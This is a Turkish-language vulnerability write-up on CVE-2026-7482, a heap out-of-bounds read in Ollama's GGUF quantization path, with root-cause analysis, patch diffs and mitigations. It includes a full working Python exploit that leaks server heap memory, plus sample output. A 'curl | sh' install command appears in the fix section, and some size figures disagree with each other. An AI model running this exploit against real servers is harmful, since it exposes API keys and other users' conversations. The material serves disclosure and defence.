CVE-2026-7482: Ollama GGUF Heap Out-of-Bounds Okuma — Tam Teknik Analiz
Özet
4 Mayıs 2026'da kamuoyuyla paylaşılan CVE-2026-7482, Ollama'nın GGUF model yükleyicisindeki kritik bir heap out-of-bounds (OOB) okuma zafiyetidir. Kimliği doğrulanmamış uzak saldırganlar, özel olarak hazırlanmış bir GGUF dosyasını /api/create endpoint'ine yükleyerek Ollama sürecinin heap belleğinden yaklaşık 2 MB veri sızdırabilir. Bu veri; ortam değişkenlerini (OLLAMA_*, PATH vb.), API anahtarlarını, sistem promptlarını ve eş zamanlı kullanıcıların anlık konuşma verilerini içerebilir.
CVSS v3.1: 9.1 KRİTİK — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
CVSS v4.0: 8.8 YÜKSEK — AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
Zafiyet Ollama 0.17.1 ile düzeltildi.
Neden Bu Kritik?
Sıradan bir bellek sızıntısı değil. Bu açık üç sebepten öne çıkıyor:
1. Kimlik doğrulaması yok. Ollama'nın /api/create ve /api/blobs endpoint'leri upstream dağıtımında varsayılan olarak kimlik doğrulamasız. Üretim ortamlarında sık kullanılan OLLAMA_HOST=0.0.0.0 konfigürasyonuyla servis internete açıksa, saldırı için hiçbir ön koşul gerekmez.
2. Sızdırılan veriler değerlidir. Heap OOB okuması; OLLAMA ortam değişkenlerini, bellekte önbelleğe alınmış API anahtarlarını, diğer kullanıcılara ait anlık LLM konuşmalarını ve sistem promptlarını içerebilir. Saldırgan sızdırılan katmanı /api/push aracılığıyla kendi kontrolündeki registry'e yükleyerek veriyi dışarı çıkarabilir.
3. Tekrarlanabilir. Exploit her çağrıda deterministik biçimde tetiklenir; race condition veya zamanlama bağımlılığı yoktur. Farklı heap pencereleri için birden fazla kez çalıştırılarak daha geniş bir bellek görüntüsü elde edilebilir.
Etkilenen Sürümler
| Durum | Sürüm | |-------|-------| | Zafiyet mevcut | Ollama < 0.17.1 | | Düzeltildi | Ollama ≥ 0.17.1 |
Varsayılan konfigürasyonda API 127.0.0.1:11434 adresini dinler. Ancak üretim ortamlarında yaygın olarak kullanılan OLLAMA_HOST=0.0.0.0 konfigürasyonuyla servis internete açıklandığında, kimliği doğrulanmamış herhangi bir saldırgan bu açığı doğrudan sömürebilir. /api/create ve /api/push endpoint'lerinin upstream dağıtımda varsayılan olarak kimlik doğrulaması gerektirmediğine dikkat etmek gerekir.
Kök Neden Analizi: İki Hata Zinciri
Zafiyet, GGUF model yükleyici ve quantization pipeline'ındaki iki bağımsız hatanın zincirlenmesinden kaynaklanır.
Güvenlik Açığı Olan Kod Yolu
HATA 1: gguf.Decode() İçinde Dosya Boyutu Sınır Kontrolü Eksikliği
fs/ggml/gguf.go içindeki gguf.Decode() fonksiyonu, tensor metadata'sını (isim, şekil, tür, offset) GGUF başlığından okurken bildirilen tensor boyutunun gerçek dosya boyutuna sığıp sığmadığını doğrulamıyor. Saldırgan kontrolündeki shape alanlarına körü körüne güveniyor:
// Savunmasız kod: dosya boyutu alınmıyor, tensor başına sınır kontrolü yok
for _, tensor := range llm.tensors {
offset, err := rs.Seek(0, io.SeekCurrent)
if err != nil {
return fmt.Errorf("failed to get current offset: %w", err)
}
padding := ggufPadding(offset, int64(alignment))
if _, err := rs.Seek(padding, io.SeekCurrent); err != nil {
return fmt.Errorf("failed to seek to init padding: %w", err)
}
// EOF ötesine Seek sessizce başarılı — sınır kontrolü yok
if _, err := rs.Seek(int64(tensor.Size()), io.SeekCurrent); err != nil {
return fmt.Errorf("failed to seek to tensor: %w", err)
}
}
1024x1024 F32 tensor 4.194.304 bayt talep eder; dosyada yalnızca 32 bayt bulunabilir. Go'da, bellek arabelleğiyle desteklenen io.ReadSeeker üzerinde EOF ötesine Seek çağrısı hata döndürmez — sessizce başarılı olur. Bu, yalnızca "dosya boyutu doğrulaması yok" meselesi değildir; Go'nun bellek destekli reader davranışıyla ilgili temel bir beklenti yanlışlığıdır.
HATA 2: quantizer.WriteTo() İçinde Saldırgan Kontrolündeki Uzunlukla unsafe.Slice
/api/create isteğine quantize alanı eklendiğinde quantizer her tensor'ı işler. server/quantization.go içindeki WriteTo(), sınırlandırılmış bir SectionReader oluşturur ve tensor baytlarını okur:
// server/quantization.go içindeki savunmasız kod — quantizer.WriteTo()
sr := io.NewSectionReader(q, int64(q.offset), int64(q.from.Size()))
data, err := io.ReadAll(sr)
// data yalnızca dosyada gerçekten bulunan baytları içerir (ör. 32 bayt)
// io.ReadAll normal şekilde EOF'a ulaşır — hata döndürmez
// Saldırgan kontrolündeki eleman sayısı shape metadata'dan geliyor
// q.from.Elements() = 1.048.576 (1024×1024 şeklinden)
var f32s []float32
// ...
f32s = unsafe.Slice((*float32)(unsafe.Pointer(&data[0])), q.from.Elements())
// ^^^ Go runtime, unsafe.Slice oluşturmayı sınır kontrolü YAPMIYOR
unsafe.Slice çağrısı &data[0] pointer'ı ve 1.048.576 uzunluğuyla bir Go dilim başlığı oluşturur; fakat Go runtime bunu arkaplan dizisinin gerçek kapasitesine (32 bayt) karşı doğrulamaz. Quantizer f32s[8:] ve ötesini yinelediğinde, 32 baytlık heap tahsisinin sonundan 4.194.272 bayt okur — komşu heap sayfalarını, goroutine stack'lerini, string interning tablolarını, HTTP istek gövdelerini (diğer kullanıcıların promptlarını), ortam değişkenlerini ve önbelleğe alınmış API anahtarlarını okur.
Girişin Nasıl Saldırı Noktasına Ulaştığı
Saldırgan kontrolündeki GGUF başlık alanları (shape: [1024, 1024])
│
▼
gguf.Decode() — dosya boyutu doğrulaması YOK
│ tensor.Size() = 2.097.152 bayt (1024×1024×F16)
│ gerçek dosya = 512 bayt
│ Seek(EOF+2M) sessizce başarılı
▼
Tensor metadata objesi oluşturulur (Shape=[1024,1024], Offset=0)
│
▼
quantizer.WriteTo() — her tensor için çağrılır
│ io.ReadAll(SectionReader) → 32 bayt (dosyadan gerçek veri)
│ q.from.Elements() = 1.048.576 (metadata'dan, DOĞRULANMADAN)
▼
unsafe.Slice((*float32)(&data[0]), 1.048.576)
│ Go runtime sınır kontrolü YAPMAZ
│ Dilim başlığı: ptr=&heap_alloc_32bytes, len=1.048.576, cap=1.048.576
▼
Quantizer döngüsü tüm 1M elemanı yineler
→ 32 baytlık tahsisin 4.194.272 bayt ötesini okur
→ Heap belleği: ortam değişkenleri, API anahtarları, promptlar, konuşma verileri
▼
Q8_0 quantize edilmiş katman (~1.06 MB) sızdırılan heap baytlarını içerir
→ /api/push ile saldırgan registry'sine yüklenebilir
Yama Analizi
Yama her iki aşamada bağımsız koruma uygular (derinlemesine savunma).
DÜZELTME 1: gguf.Decode() Dosya Boyutu Sınır Kontrolü
Tensor metadata ayrıştırmasından hemen sonra, döndürmeden önce eklendi:
+ fileSize, err := rs.Seek(0, io.SeekEnd)
+ if err != nil {
+ return fmt.Errorf("failed to determine file size: %w", err)
+ }
for _, tensor := range llm.tensors {
offset, err := rs.Seek(0, io.SeekCurrent)
// ...
padding := ggufPadding(offset, int64(alignment))
if _, err := rs.Seek(padding, io.SeekCurrent); err != nil {
return fmt.Errorf("failed to seek to init padding: %w", err)
}
+ tensorEnd := llm.tensorOffset + tensor.Offset + tensor.Size()
+ if tensorEnd > uint64(fileSize) {
+ return fmt.Errorf("tensor %q offset+size (%d) exceeds file size (%d)",
+ tensor.Name, tensorEnd, fileSize)
+ }
if _, err := rs.Seek(int64(tensor.Size()), io.SeekCurrent); err != nil {
return fmt.Errorf("failed to seek to tensor: %w", err)
}
}
Düzeltme dosyanın sonuna seek yaparak gerçek boyutu alır, ardından her tensor için llm.tensorOffset + tensor.Offset + tensor.Size() ≤ fileSize kontrolünü yapar. 512 baytlık dosyada 2 MB tensor verisi bildiren hazırlanmış bir GGUF herhangi bir veri okunmadan burada reddedilir ve hata mesajı şöyle görünür:
{"error":"tensor \"blk.0.attn_q.weight\" offset+size (2097632) exceeds file size (512)"}
DÜZELTME 2: unsafe.Slice Öncesi Veri Boyutu Doğrulaması
io.ReadAll'dan hemen sonra, savunmasız unsafe.Slice çağrısından önce eklendi:
data, err := io.ReadAll(sr)
if err != nil {
return 0, err
}
+ if uint64(len(data)) < q.from.Size() {
+ return 0, fmt.Errorf("tensor %s data size %d is less than expected %d from shape %v",
+ q.from.Name, len(data), q.from.Size(), q.from.Shape)
+ }
var f32s []float32
// ...
f32s = unsafe.Slice((*float32)(unsafe.Pointer(&data[0])), q.from.Elements())
Bu derinlemesine savunmadır: Decode() kontrolünü atlayan hazırlanmış bir dosya bile, quantizer yetersiz arabelleğe sahip unsafe.Slice çağrısını reddeder. İkinci düzeltme, unsafe Go paketi kullanan tüm koda uygulanması gereken genel bir ilkeyi de örneklemektedir: unsafe.Slice çağrısından önce her zaman arkaplan dizisinin boyutunu doğrulayın.
Proof of Concept
Aşağıdaki PoC, araştırmacılar tarafından vendor yaması yayımlandıktan sonra kamuoyuyla paylaşılmıştır. Yalnızca eğitim, güvenlik testi ve savunma amacıyla kullanılmalıdır.
#!/usr/bin/env python3
"""
CVE-2026-7482 — Ollama GGUF Heap Out-of-Bounds Read (Bilgi Sızıntısı)
Etkilenen: ollama/ollama < 0.17.1
Tür: Heap OOB Okuma — çağrı başına ~2 MB heap belleği sızdırır
GGUF model yükleme + quantization pipeline'ındaki iki hata zinciri:
1. gguf.Decode() saldırgan kontrolündeki tensor şekillerine gerçek dosya boyutunu
karşılaştırmadan güvenir (EOF ötesine seek sessizce başarılı olur).
2. quantizer.WriteTo(), saldırgan kontrolündeki eleman sayısıyla unsafe.Slice() çağırır,
heap tahsisinin çok ötesine yayılan bir Go dilimi oluşturur — runtime'da komşu
heap sayfalarını okur.
Saldırı akışı:
1. 1024x1024 F16 tensor (~2 MB) bildiren ancak yalnızca ~512 baytlık gerçek veri
içeren kötü niyetli bir GGUF oluştur.
2. Blobu /api/blobs/sha256:<hash> adresine yükle.
3. files={model.gguf: sha256:<hash>} + quantize=Q8_0 ile /api/create'e POST gönder.
Bu her tensor'ı quantizer.WriteTo() üzerinden yönlendirir:
unsafe.Slice((*float32)(&data[0]), q.from.Elements())
ile q.from.Elements() = 1.048.576, data yalnızca 16 F16 eleman içerirken.
Oluşturulan Go dilimi heap tahsisinin ~2 MB sonrasına yayılır.
4. Savunmasız: {"status":"success"} döner — OOB okuma sessizce gerçekleşir.
Quantize edilmiş katman (1.06 MB) sızdırılan heap baytlarını içerir.
5. Yamalı: {"error":"tensor ... exceeds file size"} döner — reddedilir.
Başarı göstergesi:
- /api/create {"status":"success"} ile tamamlanır
- Yeni model katmanı ~1.114.624 bayt (1M F16 elemanının Q8_0'ı)
- Dosya boyutu yalnızca 512 bayttı → heap OOB okuması gerçekleştiğini kanıtlar
Kullanım:
python exploit.py --host 127.0.0.1 --port 11434 # savunmasız
python exploit.py --host 127.0.0.1 --port 11435 # yamalı — hata vermeli
"""
import argparse
import hashlib
import json
import struct
import sys
import urllib.error
import urllib.request
# ---------------------------------------------------------------------------
# GGUF oluşturucu — OOB tensor içeren minimal ama spec-doğru F16 LLaMA modeli
# ---------------------------------------------------------------------------
def pack_gguf_str(s: str) -> bytes:
b = s.encode()
return struct.pack("<Q", len(b)) + b
def kv_uint32(key: str, val: int) -> bytes:
return pack_gguf_str(key) + struct.pack("<I", 4) + struct.pack("<I", val)
def kv_float32(key: str, val: float) -> bytes:
return pack_gguf_str(key) + struct.pack("<I", 6) + struct.pack("<f", val)
def kv_string(key: str, val: str) -> bytes:
return pack_gguf_str(key) + struct.pack("<I", 8) + pack_gguf_str(val)
def build_malicious_gguf() -> bytes:
"""
Geçerli bir LLaMA F16 modeli gibi görünen ancak 1024x1024 F16 tensor
(2.097.152 bayt) bildirirken yalnızca 32 bayt gerçek tensor verisi içeren
bir GGUF v3 dosyası oluşturur.
Tasarım kararları:
- general.file_type = 1 (MOSTLY_F16): 0.17.0'daki pre-quantize kontrolünden geçer
- Tensor türü = 1 (GGUF_TYPE_F16): file_type bildirimiyle tutarlı
- Tüm gerekli LLaMA mimari KV çiftleri mevcut: GGUF tam ve geçerli görünür
- tensor offset = 0: tensor veri bloğu header pad'den hemen sonra başlar
- Yalnızca 32 bayt tensor verisi: unsafe.Slice'ın EOF'dan ~2MB ötesini okumasına neden olur
"""
magic = b"GGUF"
version = struct.pack("<I", 3)
tensor_count = struct.pack("<Q", 1)
kvs = [
kv_string("general.architecture", "llama"),
kv_uint32("general.file_type", 1), # 1 = MOSTLY_F16
kv_uint32("llama.context_length", 512),
kv_uint32("llama.embedding_length", 1024),
kv_uint32("llama.block_count", 1),
kv_uint32("llama.feed_forward_length", 2048),
kv_uint32("llama.attention.head_count", 8),
kv_uint32("llama.attention.head_count_kv", 8),
kv_float32("llama.attention.layer_norm_rms_epsilon", 1e-5),
]
kv_block = b"".join(kvs)
kv_count = struct.pack("<Q", len(kvs))
# Tensor: 1024x1024 F16 — 2.097.152 bayt bildiriyor, dosyada 32 bayt var
tname = pack_gguf_str("blk.0.attn_q.weight")
ndims = struct.pack("<I", 2)
dim0 = struct.pack("<Q", 1024)
dim1 = struct.pack("<Q", 1024)
ttype = struct.pack("<I", 1) # GGUF_TYPE_F16
toffset = struct.pack("<Q", 0) # tensor verisi data bloğunun 0. konumunda
header = magic + version + tensor_count + kv_count + kv_block
header += tname + ndims + dim0 + dim1 + ttype + toffset
# 32 bayt hizalamaya pad yap (Ollama varsayılan GGUF hizalaması)
pad_len = (32 - len(header) % 32) % 32
header += b"\x00" * pad_len
# Yalnızca 32 bayt tensor verisi — çıktıda heap baytlarına karşı tanınabilir dolgu
tensor_data = b"\x41" * 32
return header + tensor_data
# ---------------------------------------------------------------------------
# HTTP yardımcıları
# ---------------------------------------------------------------------------
def http_post_raw(url: str, data: bytes, content_type: str = "application/octet-stream"):
req = urllib.request.Request(url, data=data, method="POST")
req.add_header("Content-Type", content_type)
try:
with urllib.request.urlopen(req, timeout=120) as resp:
return resp.getcode(), resp.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
def stream_post_json(url: str, body: dict):
"""JSON POST gönder, NDJSON akış yanıt satırlarını topla."""
data = json.dumps(body).encode()
req = urllib.request.Request(url, data=data, method="POST")
req.add_header("Content-Type", "application/json")
lines = []
try:
with urllib.request.urlopen(req, timeout=300) as resp:
for raw in resp:
line = raw.decode().strip()
if line:
lines.append(line)
except urllib.error.HTTPError as e:
body_err = e.read().decode(errors="replace")
lines.append(json.dumps({"error": body_err, "_http_status": e.code}))
return lines
# ---------------------------------------------------------------------------
# Exploit
# ---------------------------------------------------------------------------
DECLARED_TENSOR_BYTES = 1024 * 1024 * 2 # F16: eleman başına 2 bayt × 1M eleman
EXPECTED_LAYER_BYTES = (1024 * 1024 // 32) * 34 # Q8_0: 32 elemanlık blok başına 34 bayt
def exploit(host: str, port: int) -> bool:
base = f"http://{host}:{port}"
print(f"[*] Hedef : {base}")
# Adım 1: kötü niyetli GGUF oluştur
print("[*] Kötü niyetli GGUF oluşturuluyor...")
payload = build_malicious_gguf()
sha256 = hashlib.sha256(payload).hexdigest()
print(f" Dosya boyutu : {len(payload)} bayt")
print(f" SHA-256 : {sha256}")
print(f" Bildirilen tensor : {DECLARED_TENSOR_BYTES:,} bayt (1024×1024 F16)")
print(f" Gerçek tensor verisi : 32 bayt")
# Adım 2: blob yükle
upload_url = f"{base}/api/blobs/sha256:{sha256}"
print(f"\n[*] Blob yükleniyor → {upload_url}")
code, _ = http_post_raw(upload_url, payload)
if code not in (200, 201):
print(f"[!] Blob yükleme başarısız: HTTP {code}")
return False
print(f" HTTP {code} — blob kabul edildi")
# Adım 3: quantization tetikle (OOB okuma burada gerçekleşir)
model_name = f"cve-2026-7482-probe-{sha256[:8]}"
create_body = {
"name": model_name,
"files": {"model.gguf": f"sha256:{sha256}"},
"quantize": "Q8_0",
}
create_url = f"{base}/api/create"
print(f"\n[*] Quantization tetikleniyor → {create_url}")
print(f" quantize=Q8_0 tensorları quantizer.WriteTo() üzerinden yönlendirir")
print(f" unsafe.Slice(&data[0], 1048576) 32 baytlık tahsis üzerinde tetiklenir")
lines = stream_post_json(create_url, create_body)
print(f"\n[*] Sunucu yanıtı ({len(lines)} satır):")
for line in lines:
print(f" {line}")
# Adım 4: sonucu değerlendir
last = lines[-1] if lines else "{}"
try:
obj = json.loads(last)
except json.JSONDecodeError:
obj = {}
if "error" in obj:
err = obj["error"]
if "exceeds file size" in err:
print("\n[-] YAMALI — Düzeltme 1 (gguf.Decode sınır kontrolü) exploit'i engelledi:")
print(f" {err}")
return False
if "data size" in err and "less than expected" in err:
print("\n[-] YAMALI — Düzeltme 2 (unsafe.Slice koruması) exploit'i engelledi:")
print(f" {err}")
return False
if "only supported for F16 and F32" in err:
print("\n[-] Pre-exploit kontrolü başarısız (file_type veya mimari uyuşmazlığı):")
print(f" {err}")
return False
print(f"\n[!] Beklenmedik hata: {err}")
return False
if obj.get("status") == "success":
layer_digest = None
for line in lines:
try:
o = json.loads(line)
if "creating new layer" in o.get("status", ""):
layer_digest = o["status"].split("sha256:")[-1]
except json.JSONDecodeError:
pass
print("\n[+] SAVUNMASIZ — heap OOB okuma doğrulandı:")
print(f" Girdi dosyası : {len(payload)} bayt")
print(f" Bildirilen tensor : {DECLARED_TENSOR_BYTES:,} bayt")
print(f" Beklenen Q8_0 katmanı : {EXPECTED_LAYER_BYTES:,} bayt")
print(f" (katman >> dosya boyutu → heap baytları sınır dışı okundu)")
if layer_digest:
print(f" Yeni katman özeti : sha256:{layer_digest}")
print(f" Model adı : {model_name}")
print(f" Sızdırılan katman ~2 MB Ollama heap belleği içeriyor (ortam değişkenleri,")
print(f" API anahtarları, anlık promptlar) Q8_0 quantize float olarak kodlanmış.")
return True
statuses = []
for line in lines:
try:
statuses.append(json.loads(line).get("status", ""))
except json.JSONDecodeError:
pass
if any("quantizing" in s for s in statuses):
print("\n[+] MUHTEMELEN SAVUNMASIZ — quantization çalıştı (OOB okuma gerçekleşti).")
return True
print("\n[?] Belirsiz — sunucu yanıtından sonuç belirlenemedi.")
return False
# ---------------------------------------------------------------------------
# Giriş noktası
# ---------------------------------------------------------------------------
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="CVE-2026-7482 — Ollama GGUF heap OOB okuma exploit"
)
parser.add_argument("--host", required=True, help="Hedef host")
parser.add_argument("--port", type=int, default=11434, help="Ollama HTTP portu (varsayılan: 11434)")
args = parser.parse_args()
success = exploit(args.host, args.port)
sys.exit(0 if success else 1)
Kullanım
# Savunmasız Ollama örneğine karşı (< 0.17.1):
python exploit.py --host 127.0.0.1 --port 11434
# Yamalı Ollama örneğine karşı (≥ 0.17.1):
python exploit.py --host 127.0.0.1 --port 11435
Savunmasız Sunucu Beklenen Çıktısı
[*] Hedef : http://127.0.0.1:11434
[*] Kötü niyetli GGUF oluşturuluyor...
Dosya boyutu : 512 bayt
SHA-256 : 795d927a27a37249a4ea0ef51650f48cc9b2a891c2498bba3f474a5029996a62
Bildirilen tensor : 2.097.152 bayt (1024×1024 F16)
Gerçek tensor verisi : 32 bayt
[*] Blob yükleniyor → http://127.0.0.1:11434/api/blobs/sha256:795d927...
HTTP 200 — blob kabul edildi
[*] Quantization tetikleniyor → http://127.0.0.1:11434/api/create
quantize=Q8_0 tensorları quantizer.WriteTo() üzerinden yönlendirir
unsafe.Slice(&data[0], 1048576) 32 baytlık tahsis üzerinde tetiklenir
[*] Sunucu yanıtı (6 satır):
{"status":"parsing GGUF"}
{"status":"quantizing F16 model to Q8_0","digest":"0000000000000000000","total":512,"completed":33554432}
{"status":"verifying conversion"}
{"status":"creating new layer sha256:ff5a43a8b0fb91e312a97bdaa8d5f2621646fac833269cf9f985509eb7e45fe7"}
{"status":"writing manifest"}
{"status":"success"}
[+] SAVUNMASIZ — heap OOB okuma doğrulandı:
Girdi dosyası : 512 bayt
Bildirilen tensor : 2.097.152 bayt
Beklenen Q8_0 katmanı : 1.114.112 bayt
(katman >> dosya boyutu → heap baytları sınır dışı okundu)
Yeni katman özeti : sha256:ff5a43a8b0fb91e312a97bdaa8d5f2621646fac833269cf9f985509eb7e45fe7
Model adı : cve-2026-7482-probe-795d927a
Sızdırılan katman ~2 MB Ollama heap belleği içeriyor (ortam değişkenleri,
API anahtarları, anlık promptlar) Q8_0 quantize float olarak kodlanmış.
Yamalı Sunucu Beklenen Çıktısı
[*] Hedef : http://127.0.0.1:11435
[*] Kötü niyetli GGUF oluşturuluyor...
...
[*] Sunucu yanıtı (2 satır):
{"status":"parsing GGUF"}
{"error":"tensor \"blk.0.attn_q.weight\" offset+size (2097632) exceeds file size (512)"}
[-] YAMALI — Düzeltme 1 (gguf.Decode sınır kontrolü) exploit'i engelledi:
tensor "blk.0.attn_q.weight" offset+size (2097632) exceeds file size (512)
Sömürü Notları
Ön Koşullar
- Ollama < 0.17.1 çalışıyor ve ağ üzerinden erişilebilir
/api/createve/api/blobsendpoint'lerine erişilebilir (varsayılan olarak kimlik doğrulamasız)- Quantization özelliği etkin (varsayılan olarak etkin)
Güvenilirlik
Exploit, ön koşullar sağlandığında %100 güvenilirdir. Zafiyet her çalıştırmada deterministik biçimde tetiklenir; race condition veya zamanlama bağımlılığı yoktur. /api/create içindeki quantize alanı zorunludur; çıkarıldığında savunmasız kod yolunu atlar.
Etki
- Bellek ifşası: Çağrı başına yaklaşık 2 MB Ollama süreç heap belleği sızdırır
- Çalınan bilgiler:
- Ortam değişkenleri (
OLLAMA_*,PATH,HOMEvb.) - Bellekte önbelleğe alınmış API anahtarları
- Sistem promptları ve gizli LLM konfigürasyonları
- Eş zamanlı kullanıcıların anlık LLM konuşma verileri
- Goroutine stack'leri, string tabloları ve iç kütüphane durumu
- Ortam değişkenleri (
- Tekrarlanabilirlik: Saldırgan farklı heap pencerelerini sızdırmak için exploiti birden fazla kez çalıştırabilir
- Sızıntı kanalı: Sızdırılan heap baytları quantize edilmiş model katmanı içinde kodlanır ve saldırgan kontrolündeki registry'e
/api/pusharacılığıyla yüklenebilir
Zincir Potansiyeli
- Kimlik bilgisi yükseltme: Heap belleğinde API anahtarları veya auth token'ları sızdırılırsa, downstream servislere yönelik saldırılar tırmandırılabilir.
- Bilgi toplama: Sızdırılan sistem promptları ve iç veriler, LLM deploymentının uygulama detaylarını ortaya çıkarır.
- Hizmet reddi (yan etki): OOB okuma sunucuyu doğrudan çökertemez, ancak büyük kötü niyetli GGUF dosyalarının tekrarlı quantization'ı belleği tüketerek servisi yavaşlatabilir.
Sömürü Etkisi
Saldırganın elde edebilecekleri:
| Veri Kategorisi | Açıklama |
|----------------|----------|
| Ortam değişkenleri | OLLAMA_*, PATH, HOME, USER ve diğer süreç ortamı |
| API anahtarları | Downstream LLM sağlayıcı anahtarları (OpenAI, Anthropic vb.) |
| Sistem promptları | Gizli LLM konfigürasyonları, ürün mantığı |
| Anlık konuşmalar | Eş zamanlı kullanıcıların aktif LLM konuşmaları |
| Go runtime iç verileri | Goroutine stack'leri, string tabloları, heap metadata |
Her çalıştırma yaklaşık 2 MB heap penceresi sızdırır. Birden fazla çalıştırma farklı heap bölgelerini kapsayabilir ve bütünsel bir bellek görüntüsü elde edilebilir.
Birincil sızıntı vektörü: Quantize edilmiş katman /api/push aracılığıyla saldırgan kontrolündeki bir model registry'sine yüklenebilir. Bu sayede Ollama'nın production ortamından gelen bellek içeriği açık bir kanal aracılığıyla dışarıya sızdırılabilir.
Hızlı Düzeltme
Hemen Güncelle
# Ollama'yı en son sürüme güncelle (≥ 0.17.1)
curl -fsSL https://ollama.com/install.sh | sh
# Sürümü doğrula
ollama --version
# Çıktı: ollama version is 0.17.1 (veya daha yeni)
Mevcut Açığı Kontrol Et
# Ollama'nın hangi adreste dinlediğini kontrol et
ss -tlnp | grep 11434
# 0.0.0.0:11434 görünüyorsa → servis dışarıya açık (riskli)
# 127.0.0.1:11434 görünüyorsa → varsayılan konfigürasyon (yalnızca yerel)
# Çalışan Ollama sürümünü kontrol et
ollama --version
ps aux | grep ollama
Anında Güncelleme Mümkün Değilse Geçici Önlem
# Dışarıdan erişimi kısıtla (Linux firewall)
iptables -A INPUT -p tcp --dport 11434 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 11434 -j DROP
Uzun vadeli çözüm olarak Ollama'yı kimlik doğrulama zorunlu bir reverse proxy (nginx, Caddy) arkasına yerleştirin ve /api/create ile /api/push endpoint'lerine erişimi yalnızca yetkili iç hizmetlerle sınırlandırın.
Eresus Bakış Açısı
CVE-2026-7482, yapay zeka inference altyapısının henüz yeterince incelenmemiş bir saldırı yüzeyi oluşturduğunu açıkça ortaya koyuyor. Model yükleme API'leri konfigürasyona benzer işlemler gibi görünür; ancak gerçekte son derece ayrıcalıklı runtime bağlamlarında yürütülür ve süreç belleğine doğrudan erişime sahiptir.
Herhangi bir Ollama deploymentı için sorulması gereken sorular:
- Ollama örneği genel internete veya dahili ağa açık mı?
/api/createve/api/pushendpoint'lerine erişim proxy veya firewall ile kısıtlanmış mı?- Ollama süreç ortamında gizli API anahtarları bulunuyor mu?
- Model registry güveni nasıl yönetiliyor?
- Eş zamanlı kullanıcı isteklerini işleyen üretim ortamları var mı?
Yapay zeka altyapısı güvenliği, web uygulaması güvenliğiyle aynı titizliği gerektiriyor — yalnızca LLM çıktılarına değil, modelin çalıştığı runtime'a ve model yükleme pipeline'ına da odaklanmak gerekiyor.
Kontrol Listesi
- [ ] Ollama sürümü doğrulandı (≥ 0.17.1)
- [ ]
/api/createve/api/blobsendpoint'leri erişilebilirlik açısından kontrol edildi - [ ] Servis internet/dahili ağa açıksa patch uygulandı veya geçici önlem alındı
- [ ] Ortam değişkenlerindeki gizli bilgiler incelendi
- [ ] Üretim ortamında kimlik doğrulamalı erişim için proxy/güvenlik duvarı yapılandırıldı
- [ ] Model registry güven modeli gözden geçirildi
Referanslar
- CVE: CVE-2026-7482
- GitHub Advisory: GHSA-x8qc-fggm-mpqg
- Fix Commit: 88d57d0483cca907e0b23a968c83627a20b21047
- Fix PR: ollama/ollama#14406
- Release: Ollama v0.17.1
- Tenable: CVE-2026-7482
- Ollama GitHub: github.com/ollama/ollama
Güvenlik Doğrulaması
Bu riski kendi sisteminizde test ettirdiniz mi?
Eresus Security; sızma testi, AI ajan güvenliği ve kırmızı takım operasyonlarıyla gerçek istismar kanıtı üretir.
Pilot test talep etİlgili Araştırmalar
Model Supply Chain vs Agent Runtime Security
Model supply chain güvenliği model artefact, format ve provenance risklerini; agent runtime security ise production sırasında tool, memory ve API aksiyonlarını korur.
AI SecurityVektör Veritabanları (Vector Database) Nedir? AI ve LLM Güvenliğindeki Yeri
Yapay zeka (LLM) projelerinin kalbi olan Vektör Veritabanları nasıl çalışır? RAG (Retrieval-Augmented Generation) mimarilerinde veri sızıntılarını...
Vulnerability AnalysisCVE-2026-41940: cPanel & WHM Authentication Bypass İçin Acil Aksiyon Planı
cPanel & WHM ve WP Squared tarafında duyurulan CVE-2026-41940 authentication bypass zafiyeti için etkilenen sürümler, güncelleme komutları, geçici firewall önlemleri, session IOC kontrolü ve hosting ekipleri için aksiyon listesi.
Vulnerability AnalysisCopy Fail CVE-2026-31431: Linux Kernel Yerel Yetki Yükseltme Zafiyeti
CERT-EU tarafından duyurulan Copy Fail zafiyeti; algif_aead, AF_ALG ve splice() zinciriyle Linux sistemlerde yerel yetki yükseltme riski doğuruyor. Kubernetes node, CI runner ve çok kiracılı Linux ortamları için aksiyon planı.